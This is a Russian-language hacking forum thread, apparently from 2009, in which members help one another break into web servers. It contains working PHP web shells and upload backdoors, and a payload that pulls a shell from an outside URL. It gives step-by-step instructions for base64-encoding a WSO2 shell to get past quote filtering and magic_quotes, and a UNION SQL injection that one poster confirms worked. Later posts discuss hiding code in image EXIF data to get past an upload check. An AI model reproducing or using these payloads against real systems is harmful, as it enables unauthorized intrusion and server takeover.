Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ну дык ты попробововал вот этот код без кавычек?

    <form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go></form><?if(isset($_POST[go])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@copy($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}}?>


    если зальешь в туже папку, откуда он исполняется - должно быть ок. В смысле торможу щаз децл, просто трудно оценивать не видя реальной ситуцации

    Если реагирует на то, что в коде шелла/загрузчика есть кавычки - избавиться от кавычек. Имхо.
     
    #8841 Pashkela, 13 Sep 2009
    Last edited: 13 Sep 2009
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Виртуально удаленно трудно судить. Единственное, что могу сказать напоследок - если работает eval - шеллу таки быть ;) Просто надо напрячься децл. Удачи и с праздником!

    PS: Попробуй залить картинку обычную для начала. Если не прокатит - тогда думать. Не лей сразу шелл.
     
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Nightmarе

    phpinfo(); покажи:

    allow_url_fopen
    allow_url_include
    magic_quotes_gpc
    disable_functions
    safe_mode
     
  4. FAQ666

    FAQ666 Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    38
    Likes Received:
    18
    Reputations:
    8
    SELECT `listings`.`sid` as `object_sid`, COUNT(*) as `count` FROM `listings` JOIN `listings_properties` ON `listings`.`sid` = `listings_properties`.`object_sid` WHERE 1 AND (0 OR(1 AND (`id`='MakeModel' AND `value` IN(311{SQLinj})) ) ) GROUP BY `listings_properties`.`object_sid` or order 1#
    Подскажите как иньекцию всунуть, что не пробовал постоянно ошибка. можно менять только ")) ) ) GROUP BY `listings_properties`.`object_sid` or order 1#"
     
    #8844 FAQ666, 13 Sep 2009
    Last edited: 13 Sep 2009
  5. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Nightmarе
    copy($_GET[a], $_GET);&a=http://site.com/shell.txt&b=./shell.php
     
  6. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    FAQ666,

    311)) ) ) GROUP BY `listings_properties`.`object_sid` and 1=2 union select 1,2,3.../*
     
    1 person likes this.
  7. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Nightmarе
    Залей
    <?php eval(stripslashes($_REQUEST[c])); ?>
    и работай нормально через system, или через что угодно, magic_quotes мешать не будут
     
    2 people like this.
  8. FAQ666

    FAQ666 Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    38
    Likes Received:
    18
    Reputations:
    8
    Спасибо помогло)))
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Nightmarе:

    Всё дело в HTML-коде внутри любого шелла. Его просто надо переделать в ECHO "а тут html-код". Иначе через eval есс-но работать не будет. Или написать "правильную" функцию для корректной работы шелла с чистым html внутри себя.

    Т.е. в итоге будет достаточно залить чистый base64_encode код шелла в файл на сервере, без <? и ?>

    Но таких готовых шеллов нет, никто так не пишет:)) Ну или в паблик не выкладывает. Вывод - ручками. Как? Очень просто. Сидим и построчно заменяем "чистый html" на

    echo 'тут html_код';

    вот и всё. Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% - для корректного исполнения php кода, содержащий в себе чистый html


    т.е., чтобы было понятно:

    1. Cработает:

    PHP:
    <?
    $a "phpinfo();";
    eval (
    $a);
    ?>
    2. Сработает:

    PHP:
    <?
    $a "phpinfo();";
    $a base64_encode($a);
    eval (
    base64_decode($a));
    ?>
    Т.е. остается только залить base64_encode код шелла, без <? и ?> и еще не закодированный он когда, там должен быть "правильный" html, не отделенный от php-кода никакими <? и ?>, т.е. шелл, состоящий сплошь из "чистого" php, без htm-отдельных-вставок в центре кода. Т.е. еще раз (сам уже запутался, гы) - весь чистый, отдельный вынесенный html надо заменить на

    echo "html-код";

    закодировать такой шелл в base64, залить (получиться файло без кавычек, значит прокатит 100%, как при sql-inj при заливке файла) на сервер, а потом просто eval-нуть, т.е. по пунктам:

    1. Заливаешь такой файл на сервер, назовем такой файл user1.php:

    <?eval($_SERVER[HTTP_USER_AGENT]);?> - будет работать 100%, кавычек нет, зальется без изменений

    2. Заливаешь на сервер другой файл, в котором "правильный" base64_encode шелла (с правильными html) - назовем такой файл user.php (закодированный без <? и ?>) - будет работать 100%, кавычек нет, зальется без изменений

    3. Идешь в FF и создаешь такого юзер-агента в плагине user agent switcher:

    Description: eval(base64)
    User agent: $a=file_get_contents('user.php');eval(base64_decode($a));

    и всё, у тебя шелл

    PS: Пункт №2 можно выполнить либо удаленно, либо через предварительно залитую форму загрузки с локального компа - зависит от настроек в php.ini

    И такая защита, как наблюдается у тебя там, обломается

    Или не читать весь бред, что выше про FF (раньше так делал, гы) и просто залить правильный base64 шелла и выполнить его через eval - что в принципе одно и тоже
     
    #8849 Pashkela, 14 Sep 2009
    Last edited: 14 Sep 2009
    1 person likes this.
  10. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Пиздец, это пиздец ..
     
    1 person likes this.
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Ну может я чего и не знаю, у меня wso2-шелл через eval не заработал. Вместо того, чтобы ругаться матом в общественном форуме, лучше бы выложил такую функцию, позволяющую запускать смешанный php и html код через eval.

    Кругом какие-то неуравновешанные люди:)
     
    #8851 Pashkela, 14 Sep 2009
    Last edited: 14 Sep 2009
  12. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Лучше прекрати нести откровенную ***ню на форуме, это уже нихера не смешно и начинает раздражать!

    eval('?><html>ох ебать, хтмл в евале!<body><?php phpinfo(); ?></body></html>');
     
    1 person likes this.
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    BlackSun:

    Ну да, по пьяни такие вещи лучше не проверять:) Работает и WSO2 так. Не раздражайся, я не специально, доктора уже выехали:) Какая бы херня не была, человеку помог, в отличие от некоторых "с понтами"

    Nightmarе:

    Ну и зря. Просто перевел бы тот же wso2.php в base64(без <? и ?>), залил бы и выполнил бы так:

    1. Залить такой шелл -

    <?eval(stripslashes($_GET[e]));?>// будет работать даже с magic_quotes=on

    2.

    ?e = $a = file_get_contents("wso2.php");eval(base64_decode($a));

    Вот в принципе и всё, что надо было. А я там понаписал - мама не горюй:) Надо завязывать
     
    #8853 Pashkela, 14 Sep 2009
    Last edited: 14 Sep 2009
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Как выполнить PHP-код, если можно заливать файл с любым расширением?

    НО есть два условия:

    1. Структура файла должна быть как у картинки.
    2. После заливки скрипт меняет расширение картинки на 340x340, соответственно весь код, который написан в конце картинки сгорает.
     
  15. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    mailbrush, а скрипт только сжимает до 320х340? если так, то есть возможность указать ложные exif данные и залить в конец код.
     
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Залил картинку с белым фоном 1х1 он растянул до 340х340. 500х500 - уменьшил до 340х340. Вот так... И как указать эти данные?
     
  17. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    А ты не пробовал заливать именно 340х340? Мб там стоит проверка и при данных размерах ресайза не будет?
     
    1 person likes this.
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    FastStone Image Viewer - бесплатная, может менять EXIF
     
    1 person likes this.
  19. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    После ресайза средствами пыха от EXIF'а остаются только воспоминания.
     
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Если ресайз в любом случае - то да, не прокатит
     
    1 person likes this.
Thread Status:
Not open for further replies.